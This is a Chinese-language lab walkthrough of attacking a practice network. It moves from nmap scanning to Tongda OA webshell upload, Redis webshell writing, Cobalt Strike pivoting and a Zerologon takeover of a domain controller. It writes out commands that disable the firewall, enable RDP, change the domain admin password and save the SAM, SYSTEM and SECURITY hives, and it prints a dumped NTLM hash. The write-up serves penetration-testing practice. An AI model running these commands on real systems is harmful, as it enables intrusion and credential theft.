关于环境配置,这里就不在附上图片和说明了,网上一大堆,这里只针对自己练习,做一个记录。
外网信息收集
利用arpscan工具,扫描了当前局域网中都存在哪些主机:
正常来说我们不应该使用arpscan,而是像nmap这样的工具,毕竟在实战过程中,攻击机和目标机器并不在一个局域网中。那么下面是通过nmap扫描的结果:
可以看到存在目标机器的IP地址为192.168.56.136,进行端口等信息的探测:
当前靶机开放的端口存在四个,下面继续利用nmap进行端口服务、操作系统等信息的探测:
# nmap -sT -sC -sV -O -p135,80,139,445 192.168.56.136
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-28 21:01 CST
Nmap scan report for 192.168.56.136
Host is up (0.00030s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx
|_http-title: \xCD\xA8\xB4\xEFOA\xCD\xF8\xC2\xE7\xD6\xC7\xC4\xDC\xB0\xEC\xB9\xAB\xCF\xB5\xCD\xB3
| http-robots.txt: 1 disallowed entry
|_/
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
MAC Address: 00:0C:29:DA:FF:08 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|phone
Running: Microsoft Windows 7|Phone
OS CPE: cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows
OS details: Microsoft Windows Embedded Standard 7, Microsoft Windows Phone 7.5 or 8.0
Network Distance: 1 hop
Service Info: Host: WIN7-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
|_clock-skew: mean: -2h39m59s, deviation: 4h37m07s, median: 0s
|_nbstat: NetBIOS name: WIN7-PC, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:da:ff:08 (VMware)
| smb2-time:
| date: 2024-04-28T13:01:25
|_ start_date: 2024-04-28T12:36:11
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: win7-PC
| NetBIOS computer name: WIN7-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2024-04-28T21:01:24+08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
看到上面的结果,80端口是nginx起的http服务,然后就是看到了RPC服务和SMB服务,当前的计算机的操作系统为windows 7 sp1 专业版;利用nmap的默认漏洞脚本进行初步的漏洞信息探测:
# nmap -sT --script=vuln -p80,139,135,445 192.168.56.136
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-28 21:02 CST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.56.136
Host is up (0.00057s latency).
PORT STATE SERVICE
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.136
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.168.56.136:80/
| Form id: center
|_ Form action: logincheck.php
| http-enum:
| /robots.txt: Robots file
| /general/: Potentially interesting folder
| /portal/: Potentially interesting folder
|_ /share/: Potentially interesting folder
| http-cookie-flags:
| /:
| PHPSESSID:
| httponly flag not set
| /general/:
| PHPSESSID:
| httponly flag not set
| /portal/:
| PHPSESSID:
| httponly flag not set
| /share/:
| PHPSESSID:
|_ httponly flag not set
|_http-dombased-xss: Couldn't find any DOM based XSS.
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:DA:FF:08 (VMware)
Host script results:
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
看到初步的漏洞脚本探测结束之后,发现了80端口上存在robots文件,同时还有几个目录,同时看到了这个主机存在ms17-010漏洞,当然这是nmap给到的探测结果,具体还是需要去尝试。先看一下80端口上运行的是什么业务:
发现是通达OA,由于我们的目标就是getshell,那么我们就找一下通达OA的nday,尝试先利用nday打一波:(这里直接利用OA工具探测了一下)
可以看到探测出来的漏洞还是挺多的,先看看文件上传吧(这个漏洞是后台的漏洞,需要我们登录):
这里尝试了几个弱口令,发现存在默认密码:账号为admin 密码为空 即可登陆成功!
开始尝试后台getshell: 快捷菜单->个人文件柜->新建文件->然后上传附件:
这里拼接的路径,我一直没有访问到,后来使用了网上的工具,注入了哥斯拉🐎;
之后拿下了这个主机,并且权限还是比较高的,最高的系统权限。
之后进行这台主机的信息收集,包括网络和杀软等等信息的收集。
上线win7
通过ipconfig /all命令,查看网络信息,发现了这台主机上还存在另外的一张网卡。就是10.0.20.0/24,查看杀软的信息:
似乎并没有杀软。直接生成木马,上线cs:
上传成功之后,执行上线:
开启了防火墙:
存在双网卡:
远程登录win7
需要建立隧道,进行内网的渗透了,但是在此之前,先dump一下密码等信息:
发现了密码admin,username为win7;查看一下3389端口是不是开放:没有开放3389端口。使用命令开启:
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
netstat -ano | findstr "3389"
开启远程桌面,还需要在防火墙上放行3389端口,之后查看端口信息,发现3389端口已经开启了:
远程连接:
隧道搭建
上传了frp,进行隧道的搭建:
之后还是上传了fscan,当然可以利用cs的插件等进行资产的探测:
似乎fscan并没有发现网段中的其他存活主机信息,于是又换了其他的工具,使用插件进行探测:
还是发现了一个主机是99(也可以查看一下arp的缓存表等信息,也会有所发现),探测端口信息:
这里我就先去尝试了一下 99主机是不是存在web服务:
Redis 写webshell
确实是存在web应用的!那么就可以在80端口上寻找一下突破点(此时的端口信息探测结束了):
这里利用默认的端口,没有添加其他的端口,先看看,找不到突破点的话,在对常见的端口进行探测:
似乎在80端口上并没有什么发现,于是再次进行了常见端口的扫描:发现了6379端口开放了!
那就是存在redis服务,先看一下有没有redis的未授权访问:
没问题,直接连接上来,存在未授权访问漏洞!
由于前面还发现了80端口上存在web服务。因此可以尝试redis写入webshell,但是我们还需要知道绝对路径。由于之前的web服务上面,只有一个默认的界面,尝试了几个常见的路径贺文件,都是404;于是进行了目录扫描:
发现了一个php文件,尝试进行访问:
php探针,拿到了web目录的绝对路径!就可以尝试利用redis写入webshell了!
尝试访问:
执行成功了,发现蚁剑连接上来还是系统权限system:
上线CS
查看是否存在杀软:
发现存在windows defender!同时还发现存在防火墙状态开启:
尝试给他关闭!
新建一个TCP的Beacon
生成木马,然后通过蚁剑上传,进行执行!
执行完成之后,在CS上通过connect命令,连接内网主机:
成功上线该主机:
内网信息收集
看到存在域:vulntarget.com 接下来去dump了一波密码信息,但是并没有发现明文的密码,只有NTLM等密文,尝试解密:
看了一下,该主机的arp缓存信息,发现了:
当前的主机,同样还是存在两个网卡,一个是10.0.10.0/24 一个是10.0.20.0/24 当前主机的内网的第二张网卡的IP地址是10.0.10.111,发现了内网中还存在一个主机10.0.10.110
同样还使用了fscan,发现了域控主机就是10.0.10.110,是一台windows 2019
包括利用其他的方法,也可以去判断和定位域控信息:
Zerologon打域控
尝试利用CVE-2020-1472-ZeroLogon打一波试试:先搭建隧道,这里直接使用CS的隧道来打:
配置一下proxychains:
正常能够访问到了已经!使用CVE-2020-1472-ZeroLogon将域控的密码重置为空:
利用impactet,进行hash的dump:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15:::
然后利用hash,进行横向移动,利用wmiexec:
然后可以修改administrator用户的密码:net user administrator !QAZ2wsx /domain
之后关闭防火墙,开启远程3389端口:
netsh advfirewall set allprofiles state off #关防火墙
#开3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
利用代理远程连接:proxychains4 remmina
恢复域控的密码
先保存注册表信息:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
下载save文件到本地,进行解密:
lget sam.save
lget security.save
lget system.save
本地读取:
利用zerologon的exp,进行还原:
再次尝试去dumphash:
此时已经失败了,因为已经恢复了密码